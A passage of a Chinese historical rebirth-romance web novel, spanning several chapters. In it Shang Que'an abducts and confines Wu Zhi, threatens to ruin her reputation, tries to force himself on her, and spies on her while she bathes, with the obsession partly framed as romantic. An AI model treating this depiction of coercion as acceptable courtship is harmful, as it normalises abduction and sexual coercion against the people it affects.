妧枝点头,等回了京都,有机会她想再将一切同历常珽和盘托出。
二人以后说不得就是相依为命的夫妻,妧枝是嫁过人的。
她知晓上辈子嫁给商榷安是什么下场。
这辈子和历常珽,她不想再重复一遍,做一对怨偶。
当然也不要有什么隐瞒。
收拾好后,妧枝同历常珽走出院门,另一边在屋檐下搬了张椅子出来坐着的商唯真目送着他们的身影,讶异道:“还真是要走了?”
……
历常珽与妧枝一起上了马车,沿着山道离开。
京都也离此不远,两个时辰的路程,赶在下午之前就已经回到了城中。
正值正午,妧家府宅。
门房打开大门迎接,并派人去告知,“大娘子和郡王回来了。”
妧枝随同历常珽去行宫伴驾的事,府里的人人皆知。
只是没想到她此去没多少日,这么快就回来了。
平氏带着妧柔起身迎接,目光打量从远处归来的女儿和未来女婿两人。
“这是圣上都回京了?阿枝,你和常珽都不用伴驾了?”
历常珽道:“世母。”
“圣人还在行宫,我此番是陪阿枝下山,先送她回京的。”
“山中虫蚁太多,人多且杂,还是山下舒服些。”
未免平氏责怪,历常珽率先替妧枝解释道。
妧嵘出事后,平氏尚且不知他那些所作所为,此人如今还在狱中,平氏常想让人帮她打听妧嵘还能否得救。
这次得知妧枝要和历常珽去伴驾,更有机会面圣,还想让妧枝若能得上面眷顾,期望她能为父亲求个情,请圣上看在君臣一场,对妧嵘网开一面。
妧枝察觉出平氏意图后,并未感到不悦,也没有与平氏争吵,只道:“有机会的话,会提一提的。”
这一世平氏未曾见识到妧嵘与薛明烛私通后的嘴脸,已经发生的事不为人知,告诉平氏也无意义。
索性,不如就让她对妧嵘抱有一丝幻想,将来也好过些。
如今她一回来,平氏自然能察觉出问题。
只是现下不提,听了历常珽的话道:“回来就好,山中不住也罢,你们赶了一路一定也辛苦了吧?我这就让下面做些好吃的来。”
“晚食你可也在这里用?”
历常珽婉拒道:“麻烦世母了,晚食就不必了……吃完午食,我便又要启程赶回骊山。”
在历常珽当场求情后,圣人虽允诺了让妧枝离开行宫的条件,却并未放历常珽走。
是以,只有等圣上回京,历常珽方能结束这趟骊山之行。
说着他朝妧枝瞧去,妧枝朝他回以安抚的微笑,对平氏道:“阿母去安排吧,我再做些吃的,让常珽带回去。”
“到了山中,即便不见,你可得想我。”
未料长女会当面和女婿调情,平氏听得颇为脸热,只觉不好在这正堂再待下去。
于是拉着小女儿从这急忙出去。
在屋内还能听见她对妧柔道:“你这阿姐,怎么回事……太孟浪了。”
妧枝回眸,和历常珽对望,露出一丝得意而狡黠的笑。
“故意的?”他问。
妧枝:“你吃过午食就要走,剩下的时辰难道不该与我多待一会?”
她不想被打扰,这种另类的强势,让历常珽感觉到心中猛跳,看妧枝的眼神又多了几分情深。
晚霞过后,到底有旨意在身,不能违抗圣命。
历常珽虽有浓浓不舍,拖到近乎傍晚,但还是得离开京都,否则到了叔父那里,只恐对妧枝印象会更不好。
“我该走了。”
妧府门前,妧枝送别历常珽,平氏等人只送到半路,就识趣往返走了。
娇丽而貌美的娘子目送俊朗的男子离去,很有些依依惜别之意。
历常珽重重握了握她的手,松开道:“等我回来。”
妧枝点头,一直站在屋外,目送历常珽乘坐的马车消失,这才不舍地走回府里。
傍晚,霞光残留几分璀璨,宛若泼洒的水粉一般。
妧府的门刚过不久,忽然再次被人敲响。
妧枝尚未走远,三两步之后停下,以为是历常珽落了东西回来,她抱有一丝期待和欣喜,连往日仪态都不顾。
第一次提起裙摆,小跑上前将门打开。
然而门前来人让她看了一眼,扒在门框上的指尖微微绷紧,笑容也从嘴角边消失不见。
变得嫌恶。
一道高大有别于旁人的修长身影出现在此,“又是你?”
妧枝手一指,“出去。”
对方对她的话置若罔闻,手一抬,便抵住她想关上的门。
再后来,朝着她靠近。
妧枝厌弃的瞪视着那道不顾阻拦,跨进门槛,甚至离她越来越近的身影。
直到忍无可忍,开口将要呼唤。
下一刻,她面色出现愕然,瞳孔视线里的人影倏然放大,一阵晕眩,像是不可置信,连最后一丝话音都无法透露出来。
戛然在嘴边。
……
平氏今日见到未来女婿送长女归家,观他二人感情甚笃,日益亲密,只觉未来喜事将至。
也许等下次历常珽回京,就是妧枝出嫁之日。
她得赶紧请人加快缝制嫁衣。
日头已黑,晚霞褪去,她放下家中账目,看到小女儿困倦到揉眼,“阿柔困了?我去叫你阿姐来,让她照顾你梳洗去,她送郡王怎么这么久没回来?”
她走到院外,妧府宅门大开。
庭院里的灯笼照耀着前面,依稀可见,却早已没了妧枝的身影。
唯一遗落在地的,是一只有意无意似被留下的发簪。
第62章 独占。
黑夜惶惶,宅院里烛火明亮。
廊檐下奔走的下人分工明确,呈上吃食和酒水,珍果糕点,脚步轻巧动作谨慎。
柴房处燃起烟,烧水的动静驱散夜幕的遮掩。
枕戈快步走下台阶,和神情肃穆的同僚碰面,像是彼此不知该如何开口,硬是僵持半天,才说一句,“那位娘子……和大郎君在里面。”
“大郎君他,这般可要劝?”
私自掠走他人的未婚妻,这可不是一般人能做出来的。
作为下属,略觉不妥,还是有所担忧这般会造成不好的后果。
枕戈压低嗓音道:“若是能劝,我早已经劝好了。”
“也不知什么时候,大郎君对这位起了心思,明明当初……”
提到此事,枕戈万万想不通,当初明眼人可见,大郎君可是万分反对和妧家的亲事。
对妧家这大娘子,并未有一丝放在心上。
后来这位大娘子做的事,的确叫人刮目相看,可是,无论如何也想不到会有今日这样的场面。
披甲猜测:“大郎君心思难测,也许当时有妧嵘那样的父亲,他觉得那位妧娘子在其中同流合污了,不适合议亲?方才没有表明心思?”
“而今妧家清白干净,这位娘子也不是不可接纳的……”
“那商娘子呢?”枕戈突然道出声。
二人一同怔愣在原地,纷纷看向同一方向的屋中。
大郎君的私事,身为下属不好多议,可若就这样放任下去,难免牵扯太多。
只是让人无法理解的是,那妧娘子和他们郎君到底生出什么纠葛,竟这般扯不清?
屋里,气氛更是在夜色裹挟中诡异和迷离。
桌上摆着不少下人刚呈上来的美味佳肴,屋中两个身影一个安坐在桌旁,另一个却离得远远的,靠坐在床榻边,似是对桌边闲适喝茶的男子避之不及。
妧枝对此刻这般处境,仿佛还像做梦一样,难以回过神来。
今日她跟历常珽从骊山回来。
傍晚她送他归去,再次打开门,出现在她眼前的竟是一个不可能出现在妧家门前的人。
她缓缓扭头,看向那个在耐心等她平静下来,正轻松自在摆弄手中茶盏的人影,商榷安察觉到她看过来,他向她邀请道:“想好了吗?过来用些吃的吧。”
他和妧枝以前见过的样子都不大一样,像是摆脱了一层外壳,没有了往日的倨傲冷漠,更多的是随心所欲心想事成的自私和畅意。
坏的浑然天成,阴郁加身。
妧枝:“你将我带来这里做什么?”她未曾起身,更不想动弹,而是保持距离跟商榷安离得远远的。
面容警惕而憎恶。
“让我走。”
“不可能。”
商榷安在桌旁抬头,他手中握的不是茶盏而是酒,十分正经心安理得地驳斥妧枝的要求。
他眼睛一眨不眨,深邃透满索求地看着她,“我不会放你走,你会一直待在这里,待在属于我的地方。”
“属于你?”妧枝感到天大的笑话,禁不住起身嘲弄,“你与我是什么关系?我已经有自己的议亲夫婿,你与我无名无分,凭什么将我扣留在此地?”
谈及身份,商榷安不说话了,也不与妧枝争辩。
他只饮了一口酒,说:“我们没有和离。”
妧枝听出他话里的含义,眼神震惊到难以附加。
“这辈子我不曾嫁给你。”
“我不是你的妻。”
商榷安抬眸看看她,并不表示愤怒,而是微微扯唇,勾勒一笑,“总会是的。”
妧枝忍无可忍,眸光淬火,像是万分不能理解商榷安怎么会变成这副无耻模样。
她与他争辩不过是纯费口舌,根本毫无道理可言。
他坐的那桌饭菜,妧枝提不起半分兴趣,看都没看一眼。
然后愤然起身,向外走去。
“你就这么走了,怎么和家里解释你和谁待在一起?”
商榷安不曾阻止,只是在妧枝即将踏出门槛时低语。
“一个有了婚约的女子,和其他男子在夜里独处一室超过两个时辰。说得清吗?”
商榷安有恃无恐看着她,妧枝对他置之不理。
然而背后的声音追着跟来,如跗骨之蛆,阴魂不散,“你可以不怕,仗着那位小郡王相信你。那其他人呢?”
圣上对妧枝因妧嵘的事,心中还有芥蒂。
甘府老太君虽喜欢她,可若坏了名声,到底对她和历常珽有影响。
做外孙儿媳,有损名誉。
妧枝这才在外面即将下台阶处回头,不可思议瞪着屋里动都未动分毫的男子,“你想毁了我?”
她瞳孔微颤,黑白分明的眼珠有几分可怜。
商榷安放下杯子,从椅子上站了起来,“我怎么会这么做?你不要这么想。”
他过来拉住妧枝衣袖,连人带肩搂到怀里,“我只是想要你知道待在谁身边才是最好的,你乖点,不要走。”
“历常珽,我和他是表兄弟,此人优柔寡断,他不适合你。”
“只有我跟你,妧枝,你看看我,你跟我多相配。”
长子,长女。
从年少起就肩负家中重任,被父母所背叛抛弃。
多么同病相怜,却靠着自己活下来了。
商榷安低头俯身,手捧着妧枝的脸,在轻抚她鬓边的发丝间,距离她的唇越来越近。
就在下一刻,“啪”的一声。
妧枝抬起手,快而准地给了他一道耳光,“你休想。”
巴掌的红印在不多时就浮现在商榷安脸上,他被打偏了脸,下颔微微倾斜的姿势,手中控制妧枝的力道不放松分毫。
未怒且沉默着看向她,如黑洞般幽邃的眼珠燃起一丝暗光,他轻笑,“打得好。”
“你越打,就欠我越多。”
妧枝还想抬手,然而这次商榷安没有给她机会,而是攥紧了她的五指,从她指缝穿过去强硬地与她十指相扣。
掌心贴在一起的温度让妧枝万分嫌恶,她不愿与商榷安有半分亲近,可对方的肌肤和体温就是如影随形怎么都摆脱不掉。
商榷安:“既然你不愿陪我吃饭,那我们就做点别的。”
妧枝蓦然被他控制在怀里,打横抱起,商榷安懂得钳制之术,妧枝头一次从他这感受到强迫的力气,她与男子的力道相比天壤之别。
无论是挣扎还是扭动,都无法从商榷安手上逃脱。
“商榷安,你放开我,放开!”
妧枝惊叫,上一世她跟商榷安成亲,那天夜里他可是万分不愿碰她的。
妧枝胆大,她自认嫁给一个男子,就要不在意他心里有谁。
她只是和他做夫妻,管理和他的家务事,这是当初她想进门时跟商榷安提的条件。
所以回了新房,按照惯例二人要行周公之礼,妧枝并无异议。
她在家中在平氏和喜娘教导下,学了一些房中术。
她以为商榷安也该清楚,他们是本分夫妻,尽到彼此夫妻责任就好。
可当她在他面前主动褪去衣裳,他对她却恍如见到什么可怕之物一样,将她骤然推开,拒之千里。
如今,他却忽然对她起了不该有的心思。
还妄图玷污了她。
“住手……”
妧枝被放倒在榻上,任由她乱踢或是乱动,商榷安对她的控制都不受丝毫影响。
他轻松地便钳住她两只细腕,举上头顶,而膝盖抵开她的裙摆,商榷安俯身,在妧枝头上细细打量着她,目光如炬。
而身下的女子充满抗拒,满脸不情愿,且蜷缩着想用腕肘抵住他的胸膛。
二人的呼吸像火一样,呼出来都感觉缠绵。
在商榷安盯着妧枝面庞的下一刻,她紧闭的双眼带着恨意微颤,然后有两道泪痕不约而同从眼角顺着耳边滑落。
打湿了她的发丝,也将底下的被褥浸染成深色。
他可以感觉出看似怨愤的气势之下,只要他有一点动静,妧枝都会轻轻发抖。
她在害怕。
“骊山行宫,你与历常珽住那么多天,对这些事难道不该很熟悉吗?”
商榷安:“那天夜里,你把我当成了他,既然能当着他面脱衣,在我手中,为何又怕?”
妧枝依旧紧闭双眼,不肯面对那张可恶的脸。
她和历常珽虽然同住一个院子,可是屋子里相隔着一堵木墙,根本不在同一个屋。
且他为人正派,二人都打算等成亲之后再做这种事,那才是名正言顺地行夫妻之礼。
商榷安俨然有所误会,以为他们早就突破世俗枷锁,提前有了肌肤之亲。
不过眼下,商榷安看着妧枝这般反应,似乎也有了不一样的猜测。
“你是不是……”
冲动之下,他想要仔细看看妧枝是否还是清白之身,于是抽走她身上腰带,动作之快,叫妧枝阻拦不及。
她赫然惊恐万分睁开眼,双手向前抵挡。
好在就在这时,屋外有人来了,脚步声清晰可闻。
似乎知悉里面应该发生些不该见到的,到了门口却不再进来,而是禀报,“大郎君,出事了。”
妧枝的腿恰好挡住商榷安的动作,他微微一顿,令她如受惊的猫,反应迅速推开他,躲到床榻一旁。
商榷安盯着妧枝那双已然泛红透着憎意的双眼,毫无歉疚之心,而是默然收回了手。
他垂眸打量指尖,幽幽看她一眼,“你我夫妻多年,对这种事不该陌生如此。”
“罢了,一回生二回熟,你我的确很久没这么亲密过了,等往后我再让你熟悉起来,不再怕我。”
他没有再强迫妧枝,从榻上起来,盯着她的同时收整好自己的仪容,“我有点事要处理,你先在此好生歇息,晚些再来看你。”
妧枝对他的话充耳不闻,她满是厌恶地别开脸,神色微微发白,宛若病恹。
她不稀罕商榷安来看她,一点都不需要。
妧枝只想离开这里,但她被掠来时早已昏了过去,方才走出去,在漆黑的夜色下,也只窥见深宅大院一角。
勉强能够分辨出,这不是在濉安王府,就是不知商榷安目前将她安置在哪儿。
第63章 没学过好。
骊山行宫,昨日还堪称热闹富有人气的院子,如今有着天壤之别。
屋里灯火通明,然而商唯真孤坐在椅子上,面对蹲在一旁照顾她的婢女的话充耳不闻。
她盯着屋外夜色,不禁问:“我阿兄呢?”
商榷安不在此处,婢女回道:“娘子稍安勿躁,大郎君有事要办出去了,这会说不定正在赶来路上。”
“天色太黑,山路不太好走,总要小心为上。”
“是吗?”
商唯真苦涩地笑了笑,不禁瞧着外面,望眼欲穿。
而在山下的庭院里,离开了那间屋子。
树木旁站立着两道身影,下属向商榷安禀告,“大郎君,行宫传来消息,商娘子下午外出,不小心摔着腿了,现在不利行走。”
“御医呢?”商榷安:“请人看过了么。”
枕戈:“商娘子一出事,我们的人就去请御医了,御医说是崴脚伤及筋骨,休养一段时日就好了。”
气氛沉默之后,见商榷安竟无表示,枕戈欲言又止下,还是开口请示。
“大郎君,山中不好养伤,可要接商娘子回来?”
这换做往日,枕戈已经听见大郎君的命令了。
然而这次。
商榷安道:“让人好生照顾唯真,有什么需求尽管满足她。”
枕戈面露凝重,不再感觉讶异。
若是按照商娘子的心思来,那就只有一样。
那就是想大郎君回去看她,然而大郎君如今心思根本不在她身上,骊山行宫定然也就顾不上了。
山巅处。
历常珽在夜色中带着人上山,路上有侍卫接应,好在没有遇见什么凶猛野兽。
他回到和妧枝一起住过的院子,不过短短几个时辰,白日里还充斥着妧枝身影的屋子就已经倍感清冷。
他不禁来到妧枝房中,推开门,想象着她在这里或躺或站的样子,比在外人跟前灵动。
对他没有那么凉薄,都是柔情姿态,历常珽心中柔软一片,竟待着不想走。
下属来道:“郡王,屋子已经收拾好了。”
历常珽:“将床褥搬过来吧。”
面对下属微惊的眼神,他道:“今夜我在这里歇息。”
下属去办,就在等待间,历常珽仿佛听见隔壁院落的动静。
他凝神听了一下,似是有哭声。
正好手下抱着被褥进来,“那边怎么回事?”他问。
顾曲道:“是商娘子,白日里好像崴了脚,御医来给她看诊。大晚上了,她说要找兄长,但是商密使似乎还未回来。”
“那位娘子正忧心……”
提及商榷安,历常珽忍不住皱眉。
濉安王府的事,他作为小辈不好置喙,当年商榷安在京中所有经历,他都看在眼里。
只是对方拒人于千里,不愿意要任何施舍,不管是濉安王府还是其他来接近他的人,都被视为别有居心。
历常珽也就和他保持互不侵扰的距离,即使是亲戚兄弟,也不过是个知悉身份的陌路人。
同朝为官,对方很有手段,位高权重,在骊山行宫凑巧被分派住在一个位置,两边难免会留意彼此。
但私心里,历常珽并不希望与这对非亲生的兄妹多接近。
尤其在发生了许多事情之后,那位商娘子明显对商榷安有情。
而商榷安对妧枝却好似不安好心,历常珽拧眉想了一阵,微微松了口气。
好在将妧枝先送下了山,让她远离这些是非。
对于下属的禀告,历常珽道:“既然是他人的宅事,那就不必多管。安寝吧。”
下属点头,在帮主子熄了灯后,关上房门退了出去。
山上风声寂静,草木混迹在黑暗中,枝叶难辨。
夜半。
商榷安从别处回来,走到安置妧枝的房门前动手推开那扇门,然而手放上去一触,便察觉出了不同。
房门后有阻力,似是被什么东西挡了起来。
“把今夜房里伺候的下人叫过来。”他没有再推,而是停下手,侧身吩咐其他人来。
不多时一个略有些不安的婢女被枕戈带到这里。
威势深重的清冷男子令人感到压迫性。
商榷安问她,“说说,我走之后妧娘子在里面做了什么?”
婢女慌张道:“妧,妧娘子她不肯用吃食,让我们把东西撤了下去,还吩咐奴婢给她找一把锁来。”
说到此,商榷安神色已有微微变化。
“大人说,不让我等怠慢了妧娘子,有求必应,所以奴婢把锁拿给了她。之后妧娘子就将房门关上了,还命令我们谁都不许进去。”
“事情就是这样……”
婢女说完依旧惴惴不安,担心被责怪。
然而她看到大郎君很高深的凝视着眼前那道紧闭的房门,似乎并未感觉到愤怒,而是当场作罢。
冲他们挥挥手,“都下去吧。”
枕戈也在内,被商榷安示意不用在此侍候。
于是默契的跟婢女一同退下。
之后,留商榷安一人看着厚实的房门,若有所思,他已明白里面也许不像婢女说的那么简单。
刚才推了一下,门口不仅有锁,还有其他重物抵挡在后面。
看来妧枝并不想他深夜造访。
屋内,床榻上蜷缩着一道身影。
在商榷安有事走后,妧枝试图从房里走出去,然而很快有人将她请了回来,盯着她,不让她离开这座院子半步。
为了不再跟商榷安碰面,妧枝将门上了锁,还推了桌椅等物挡在门口。
她回到榻上,思忖着该如何从这里脱身。
一定要逃出去,她不是商榷安拘禁的笼鸟,更受不了与他纠缠不清。
她趴在床褥上,在冥想间昏昏欲睡。
直到混沌的意识忽然听见屋外说话的声音,妧枝倏地清醒,商榷安回来了。
但幸好,她提前做了准备,此刻在外面他开不了门。
就在此时,屋内忽然出现嘘嘘索索的动静。
她猛然爬起身,却忘了房中没有点灯,而她睁眼看到的也不过是一片漆黑。
忽而,好像有什么东西坠地,夜晚的风声从外面吹进来。
下一刻,远处架子旁,一道烛火被人点亮。
霎时间妧枝眼中看清屋中场景,面目可憎的清冷男子正往灯台里点着灯,在他背后,是微微摇晃,被破开后的窗户。
商榷安悄无声息朝她投来视线,在不知不觉间发现她已经醒了的动静,他身如鬼魅,“怎么锁门了?”
妧枝吃惊中透着哑然。
她连回商榷安的话都不想,锁门又如何?还不是被他翻窗进来了。
商榷安等屋子里的光线被拉满到清晰可见后,朝妧枝走过来。
她不由防备地从榻上跳下来,连鞋都顾不得穿。
可见她对之前他的唐突之举意见之深,害怕他会再次将她困在榻上任性妄为。
他在短暂的距离中站定,打量受惊中的妧枝,一派理所当然地解释,“我只是想让你清楚,锁门起不了作用。”
“真正要动你,根本阻挡不了我。”
他意有所指地扫了门口处的桌椅一眼。
妧枝刻薄道:“你和他真是天壤之别,同是表兄弟,品行却如衣冠禽兽,堪称低劣。”
商榷安任其评价,在看到妧枝眼里的鄙薄不满时,神色平静,煞有其事地认可道:“我自幼在乡间长大,什么腌臜没见过?没学过好,邻里寡妇通奸,公媳扒灰,丈夫染指妻妹,自然是比不上坐在明堂内室长大的郡王爷。”
常年来,历常珽都是为人外道的儒雅君子。
的确,和他相比,商榷安却见过更多不堪的东西,乡间能有什么好的?
可比京都这些没见过世面的人们更寡廉鲜耻,心怀不轨。
黑白不分。
妧枝不带喜色的盯着商榷安,未表露一丝同情怜悯,“即便如此又如何,你生长在外,与常珽何干,又不是他令你沦落那番境地。你少讽刺于他。”
看着妧枝为不在此处的历常珽说话,如此护着,商榷安忽地默然。
“是和他无关。”
“和我自己有关。”
商榷安在妧枝面前道:“是我自作自受,天生该有那样的下场,我应得的报应。”
“成为弃子。”
妧枝一下安静下来,商榷安的身世她有听说,多年大夫人让她更加清楚在濉安王府,濉安王和王妃对他的态度。
当年商榷安以一七岁孩童的身份替濉安王顶罪,被过继给罪臣商朔,无异于将他从族中除名,从此成为庶民一辈子不可能翻身。
但她却对商榷安在来京都之前的日子半分都不了解过。
平氏带她来京都前,妧枝也住在老家乡下,但好歹丈夫是考生,走仕途。
家中也属于小乡绅,药铺生意也好,再怎么都不会像商榷安那样,耳濡目染,周围都是腌臜。
可这都不是他绑她来这里的理由。
妧枝别开脸,无情道:“我对你以前如何度过的乡下过往没有一丝兴趣,更没有对不起你。”
“常珽也是,他是个宁静淡泊之人,无意与你作对。”
妧枝不希望因为她,牵扯到无辜的人。
可商榷安似乎越因为她为别人说话,越一意孤行,“他是君子,我乃罪人,君子怎会与罪人计较。自然是我与他作对了。”
妧枝听出他是在用她的话来堵她,当下看商榷安的眼神都透着荒唐和愠怒。
“你。”
“我?”商榷安了然知悉妧枝的心思,却偏要曲解,且道:“我会把你从他身边夺回来。”
“不要试图逃走,或者躲避。”
“我也不希望你为难。”
商榷安没再朝着妧枝的位置向前进,他转身朝着她堆叠了一堆杂物的门口走去。
将那些桌椅通通挪开归位,并用从不知哪儿来的钥匙将锁链打开,丢出门外。
然后回身站定,眼也不眨看着她。
“明日,我会宿在你房里。”商榷安:“期望不会再有这些东西扰我对你的好意。”
徒添麻烦。
第64章 渴求。
城中暑期正热,而骊山总有一片清凉之意。
晨曦,历常珽从屋子里醒来,枕边仿佛还留有一丝上一位居客留下的香气。
他枕了个好眠。
但当他洗漱完,穿戴好衣物从院子里出去,隔壁的人影却好像等了他多时,特意将他叫住。
在雕花镂空的窗前,历常珽诧异站定,“商娘子?你叫我,是有什么要事吗?”
在他对面的院子里,商唯真和婢女站在中间,朝这边靠近。
她的腿让她行走多了几分不便,但还是固执来到这,并且历常珽还看到她的脸上出现倦容,像是一夜未睡一样。
眼下发青,她很是莫名其妙盯着他。
历常珽谨慎再次开口,“商娘子?”
他提醒她有话就说。
商唯真却忽然对他道:“我阿兄整夜都未回来。”
历常珽眉头微动,不显得惊讶,而是若无其事道:“商密使吗?我和他来往不多,并不知道商密使踪迹。”
“抱歉了,商娘子。”
他以为商唯真是在向他打探消息。
而历常珽对商榷安的确关注不多,没办法帮她什么。
商唯真却看着他,问:“郡王对妧娘子了解多少?很了解吗?”
历常珽正想走的冲动被按捺住,他扭过头奇怪的观察商唯真,似是不解,“商娘子为何这么问?与阿枝又有什么干系?”
他神情微微严肃。
商唯真却好似不惧分毫一样,笃定道:“那么,郡王是清楚你家妧娘子,和我阿兄有往来了?”
“郡王这样都不介意吗?”
历常珽眼神一变,已然察觉出商唯真的意图,直接了当道:“还请商娘子慎言,阿枝何时与商密使有过瓜葛?”
“我听说当初原本是要跟我阿兄议亲的人是她!”商唯真:“这还不算瓜葛?”
“既然妧娘子和我阿兄还有过这样一段往事,却欲盖弥彰在人前装无关系,结果那天夜里又拉着我阿兄的手就跑了,这不是掩耳盗铃是什么?”
眼见商唯真越说越过分。
历常珽彻底冷下脸,“商娘子,议亲之事是很久以前发生的,且你兄长早就拒绝过妧娘子。阿枝和他也就没有继续下去,谈何欲盖弥彰?”
“不要再说了,如果你还要当着我的面羞辱我未来妻子,即使有商密使为你撑腰,我也不会客气的。”
商唯真住了嘴,看上去并没有真的想要结束。
她固执地站在墙边,对历常珽道:“这样最好,既然你说你未婚妻和我阿兄没关系,那就请郡王看好她。”
“不要再与人来往,免得清誉不保。”
历常珽顿时审视商唯真起来,而说完这句话,商唯真如同打了胜仗,扶着婢女搀扶她的手,往院子里走。
她无法放下心中知晓妧枝居然和她阿兄议过亲的芥蒂。
明明认识,她怎么还在她面前装成那副清高冷淡的模样?
真是虚伪,看来这个女子并不像外人想的那样真性情。
“阿兄当真一夜都没回来吗?”商唯真再次向婢女确认。
婢女心惊胆颤地点头,同时安慰她,“枕戈说,大郎君有事要忙,让娘子照顾好自己。”
商唯真却抬眸,眼眶红红道:“我要他回来。”
“你去找他们说,让我阿兄回来,我身子不舒服,受了伤,他怎么能不来看我一眼?”
“娘子……”婢女为难。
往日大郎君的人吩咐他们做事很容易,但想找大郎君还需得通过枕戈等人。
可这些得力助手都忙得很,也不是想见就能见到的。
……
山下,妧府一夜过去,还未见到妧枝身影。
平氏心中一阵阵发凉。
她问了昨日门房的情况,“不是说,你瞧见大娘子送郡王出去,然后呢?”
平氏当时与女儿都回了正厅,给长女和未来女婿留下独自相处的空间。
未料想,那么久了妧枝都还没回来,也没见到她人。
当她找去,只有一支簪子留在地上。
而门房惭愧说:“小人该死,小人当时腹痛,没忍住就去了趟茅房,回来并没有见到大娘子的身影,还以为大娘子和郡王一块走去巷子口了。”
平氏让下人去找,找遍了整个妧府也没见到妧枝的人。
那一刻,她便意识到是出事了。
枯坐一夜,待到天亮平氏这才将人重新喊来,让下人们再去城里找。
“先别声张,悄悄的找。”
平氏吩咐,好好的一个待嫁闺中的女娘不见了,传出去总会让人多想。
且担心生出流言蜚语,平氏眼下根本不敢报官,然而等到下人出门后,忽地门口又来了一拨人。
“可有人在家?”
门房上去开门,打开一看,面露震惊,只见官府的人不知什么时候得了消息。
进来道:“有人报官,说你们家有娘子丢了,我等来了解些情况。”
平氏愕然,她,她没有想立马将消息传出去啊。
山中,一匹骏马快速穿梭在林间。
到了骊山行宫,来人手持信件和牙牌向门口的侍卫表明身份,“我乃甘府的管事,有急事想要求见郡王。”
在山中的林子里,臣子们分散坐在各处。
有的闲谈,有的研墨作画,有的手持钓竿在一旁溪流处垂钓。
而人最多的地方莫过于圣人所在的位置,都在观棋,今日圣上来了兴致,要求君臣对弈,于是召来臣子下棋。
眼下当今最受圣宠的商密使便坐在圣人对面,捻着棋子手谈。
而历常珽则与甘贯轩待在一起,看他垂钓。
“郡王,历郡王。”
忽然有人唤他,历常珽循声抬头,讶异地看过去,接着就发现来人竟是甘府里的管事。
而甘贯轩也惊奇不已,“常伯,你怎么来了?”
甘府管事马不停蹄赶到,在山林之中发现历常珽和甘贯轩的身影,急忙上前喉咙里还喘着奔波劳累的粗气,“郎君,郡王,不好了。”
“妧家大娘子不见了!”
历常珽瞳孔一震,仿佛听错了般,“你说什么?”
管事:“今日一早,有人来府中传递消息,说是妧大娘子走丢了,我等见他不是妧府常来的下人,便以为是有人故意在作怪,于是将人赶了出去。”
“好在老太君听了下人的话,感到不放心,于是遣人去妧府走了一趟,结果妧大娘子当真不在府中……”
“说是昨天夜里,妧大娘子就没回来过。”
“这不可能。”历常珽矢口否认,“昨日是我送阿枝归家,还在府里用了饭。”
管事小心翼翼,“就是说,是郡王走后,妧大娘子才丢的。”
历常珽哑然,初听此事倍感荒诞,以为是谁开的玩笑话。
然而祖母做事一向仔细,且甘府的管事亲自前来更不可能是在说谎,那就说明,他走后妧枝真的在妧府出事了。
他骤然紧张,而甘贯轩在旁安抚道:“可有仔细找过人?是在哪丢的,会不会是妧娘子去了其他人不知道的地方,忘了与家里说一声。”
这个不知道的地方,自然是甘贯轩示意历常珽,会不会妧枝去的是只有他们二人才知晓的秘密之地。
然而历常珽摇头,“阿枝不会乱走的。”
那就是真丢了,得到回应,甘贯轩也意识到了事情的重要性。
“既然妧娘子不知去向,那还是赶紧加派人手去找吧。”
历常珽早已在甘贯轩出口之际转身,向外走去,他连圣人那里都顾不上禀告,只说:“我去找,若有事,帮我和圣上说一声。”
然而他们此处的动静已经引起旁人注意。
在历常珽路过时,还有臣子见他面色不佳,忧心忡忡的模样主动问:“历大人这是怎么了?出了什么事了?”
“历郡王看上去,很着急啊。”
棋盘边,沉迷棋局的圣上还在沉思,商榷安坐在他对面,彼时视线不经意透过人群,从一条缝隙中朝行色匆匆的历常珽看过去。
不停有细碎的议论声从附近传来,从大概中商榷安已经了解到发生了什么事。
他的目光没有避讳,许是直觉,又或许是冥冥中有所感应,历常珽在经过这一边时,忽然朝中间方向望过来。
他看到商榷安手执一颗黑棋,圣上在他对面思虑该如何落下白子,而商榷安仿佛早已预见这盘棋的结果,不为此担忧,气定神闲。
连向他回睇过来的黑眸,都深沉富有压力。
历常珽起先什么都没想,只对对方那副置身事外的模样皱了皱眉,想到一早那位商娘子向他口不择言的情况。
然而下一刻,他好像被人敲响了一道警钟。
一个声音道:“我阿兄,整夜都未回来。”
……
下了山,夜色降临在城中,晚风中带有一丝夏日的酷暑,气息温热,汗意微浓。
商榷安回到私宅中,他走进庭院,在下人问好声中问:“娘子呢?”
奴仆禀告了声,“在屋内。”
商榷安朝着房屋走去,寂静的夜中,清晰可闻房里倾洒的水声,一瓢又一瓢。
他没有停步,一直到浴房前,未曾关紧的缝隙可以窥见里面的光影。
然而他还有另外一个绝佳的位置,打开半支着的窗,他能将内里所有环境纳入视野。
沉浸在沐浴中的女子站在浴桶中,婢女为她擦拭着肩背,而她挽起的发丝,有些湿漉漉的贴在秀颀的脖颈和背部。
腰脊下的两窝宛若旋涡,隐入下面的水中。
那样纤细的距离,一只手就能丈量过,自然而起的欲念像燎原的火,风一吹便沸腾干燥。
妧枝若有所觉地转过头,朝着窗外看去。
然而看到的只有空荡无人的墙影。
第65章 无耻之尤。
商榷安来到卧房中等着她,他坐在榻上,尤能听清隔壁洗澡的水声。
上一世他也这样等过妧枝。
“妧氏呢?”他从外面回来,往常在暮色刚晚之时,妧枝都会过来送些吃食给他。
即便不吃,夫妻之间二人关系冷淡,那也会奉杯热茶,问一句,就当是每日打过招呼了。
但那日妧枝没有像平常那样在家中。
他问了下人,下人道:“妧家出了事,大夫人回去了一趟,还未回来呢。”
“郎君可要用些吃的,夫人吩咐,郎君回来就把吃的奉上。”
商榷安站在屋内,不曾答应,也不曾说不要,于是下人去准备了。
而他为数不多的踏入了妧枝的卧房。
她显然是惊慌失措跑出去的,观摩一圈,他发现了她桌上散乱的针线,椅子未好好归位。
那盆里放的是绣到一半的鞋袜,他丈量了尺寸,应当还是给他的。
做妇人,妧枝的确够格,她信守承诺,将这个院子维持的很好。
与濉安王妃那里和各方的关系都维系的很体面。
他等在那里,竟坐了她的床,周围都有种她身上独有的馨香。
一直到妧枝回来。
她在屋外,下人禀告她说:“大夫人,大郎君回来了。”
但是她的反应平平,“我知道了。”
她没有多问,似是另有烦心事占据了她的思绪。
下人却依旧喊住她,“夫人……”
当时妧枝已经没有了耐心,她今日方知妧家出了很大的事,极其严重,她到了府里还未扭转好心情,更一时忧思过度,想着如何处理妧府。
于是呵斥,“我说我听见了。”
“他回来便回来了,你们伺候好他,我还有事要忙,有什么需要,就同我婢女说罢。”
她没有再进屋内,连进去看一眼的兴趣都没有,迫不及待想再回妧家一趟。
